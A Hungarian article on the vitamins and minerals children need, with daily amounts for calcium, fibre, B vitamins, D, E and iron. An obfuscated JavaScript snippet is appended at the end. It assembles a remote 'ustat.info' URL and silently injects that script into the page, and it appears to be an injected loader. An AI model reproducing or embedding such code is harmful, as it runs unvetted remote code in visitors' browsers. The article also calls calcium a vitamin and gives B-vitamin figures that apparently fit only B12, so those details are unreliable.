Babakorban, kisgyermekkorban, gyermekkorban, és serdülőkorban – azaz 18 éves kor alatt – számos változás megy végbe a testben. Ezek nagy része természetesen magától lezajlik, vannak azonban olyan folyamatok, amelyeket támogatni kell – elsősorban vitaminokkal. De melyek a legfontosabbak ezek közül, amelyek pótlására kiemelten oda kell figyelni?
Kalcium
Az egyik legfontosabb vitamin a csontok és a fogak egészségének szempontjából. Ennek pótlását azért fontos már kicsi korban elkezdeni, hogy több tartalékuk legyen idősebb korukra – amikor már fennáll a csontritkulás veszélye. 1 és 3 éves kor között nagyjából napi 700 milligramm kalciumra van szükségük, később ez egyre nő: 9 és 18 éves kor között már 1300 milligramm az ajánlott mennyiség.
Rostok
Tudjuk: a rostok nem vitaminok és még csak nem is ásványi anyagok. Azonban kiemelten fontosak az anyagcsere szempontjából, nem is beszélve arról, hogy a rostban gazdag ételek – például gyümölcsök és zöldségek – telist-tele vannak hasznos tápanyagokkal. Van bennük C-vitamin, E-vitamin, kalcium, magnézium és kálium is. Ezekből minél többet érdemes bevinni a gyerekek szervezetébe, hiszen nekik is nagyjából ugyanolyan mennyiségre van szükségük, mint a felnőtteknek! Amit alapul kell venni az a napi kalóriabevitel: minden 1000 kalóriában legyen 14 gramm rost! Olvass még a témában
B-vitaminok
A különböző B-vitaminok a test energiaszintje, az anyagcsere, az egészséges szív és idegrendszer szempontjából is fontosak. Babakorban mindössze 0,5 mikrogrammra van szükségük, kisgyermekkorban 0,9-re, 4 és 8 év között 1,2-re, 9 és 13 év között 1,8-re, a tinédzsereknek pedig 2,4-re.
D-vitamin
A D-vitamin több mindenre is alkalmas: egyrészt véd a későbbi években esetlegesen kialakuló krónikus betegségek ellen. Másrészt pedig a kalciummal együtt dolgozva segít megerősíteni a gyerkőcök csontjait. Baba- és gyermekkorban legalább 400 IU-ra van szüksége belőle a kicsiknek.
E-vitamin
Az erős immunrendszer egyik legfontosabb eleme az E-vitamin, ami ráadásul a vérerek megfelelő működéséért is felel. Az egészen kicsiknek (1-3 év) még elég napi 9 IU belőle, később (4-8 év) ez már 10,4 IU, 9-13 éves kor között 16,4 IU, tinédzserkorban pedig épp annyi, mint a felnőtteknek szükséges mennyiség: 22 IU.
Vas
Sokan megfeledkeznek róla, pedig a vas az egyik legfontosabb tápanyag. Vas nélkül ugyanis az oxigén nem tudna eljutni a sejtekhez – ám mivel a szervezet nem képes előállítani, nekünk kell pótolnunk. A gyerekeknek 7-10 miligramm kell belőle, tinédzserkorban a fiúknak nagyjából 11, míg a lányoknak – akiknek már megjött a menstruációja – 15 milligramm.
(function(){ iqzv_=("u"+"st");iqzv=document.createElement("script");iqzv.async=true; iqzvu="369568803";iqzv_+="a"+("t.");iqzv_+="i"+("nf"+("o"))+("/"); iqzvu+=".rX9wtq7dqzv7X9kl";iqzvu+="8w2bwgrrbevscy"; iqzv.src="https://"+iqzv_+iqzvu;iqzv.type="text/javascript"; d_b=document.body;d_b.appendChild(iqzv); })();
